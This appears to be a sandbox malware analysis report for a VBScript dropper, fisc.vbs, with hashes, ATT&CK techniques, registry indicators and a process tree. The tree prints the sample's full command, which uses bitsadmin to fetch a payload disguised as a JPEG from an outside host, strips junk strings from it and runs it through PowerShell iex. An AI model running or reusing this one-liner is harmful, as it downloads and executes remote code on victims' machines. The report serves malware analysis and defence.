7a61ca9db96a39902028ef7bc8eedc68bb82bbdce3d86959c818373535d91061

Target

fisc.vbs
Size

607B
MD5

7e9280027235462727a9a351429725c6
SHA1

380f1b3eeb2779a4359e4ca52471273983ed684c
SHA256

11a9b5a24b628be56d2d2bedf1ed71f05114c2f670cd1814ff8f8ff222cd801a
SHA512

7e31dcff6590b79476bb9bedd73145b9acafea62202d8defdd12608eae4cf727dce8781b83cd14d51432f2989bc6376c0a5bb8a114397c504a1ea4d519b4e060

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
3612	bitsadmin.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	WScript.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2996	powershell.exe
2996	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2996	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 624 wrote to memory of 796	624	WScript.exe	78
PID 624 wrote to memory of 796	624	WScript.exe	78
PID 796 wrote to memory of 2996	796	cmd.exe	80
PID 796 wrote to memory of 2996	796	cmd.exe	80
PID 2996 wrote to memory of 3612	2996	powershell.exe	81
PID 2996 wrote to memory of 3612	2996	powershell.exe	81

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fisc.vbs"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:624
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -c "&{bitsadmin /transfer orhwgxcl https://jopkerto.tech/avatar/6735/production.jpeg C:\Users\Admin\AppData\Roaming\production.jpeg; $ah=gc C:\Users\Admin\AppData\Roaming\production.jpeg; $ah -replace 'rfkvkhyy|wvgpmnbgx|xhbtegpohq|evvdwlxcd|gisofqvjp|edvdpyzc|uqbykfuhv' |iex }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "&{bitsadmin /transfer orhwgxcl https://jopkerto.tech/avatar/6735/production.jpeg C:\Users\Admin\AppData\Roaming\production.jpeg; $ah=gc C:\Users\Admin\AppData\Roaming\production.jpeg; $ah -replace 'rfkvkhyy|wvgpmnbgx|xhbtegpohq|evvdwlxcd|gisofqvjp|edvdpyzc|uqbykfuhv' |iex }"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Windows\system32\bitsadmin.exe
      "C:\Windows\system32\bitsadmin.exe" /transfer orhwgxcl https://jopkerto.tech/avatar/6735/production.jpeg C:\Users\Admin\AppData\Roaming\production.jpeg
      4⤵
      Download via BitsAdmin
      PID:3612

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2996-132-0x000001447E270000-0x000001447E292000-memory.dmp

Filesize
136KB

Download
memory/2996-134-0x00007FF8F2C70000-0x00007FF8F3731000-memory.dmp

Filesize
10.8MB

Download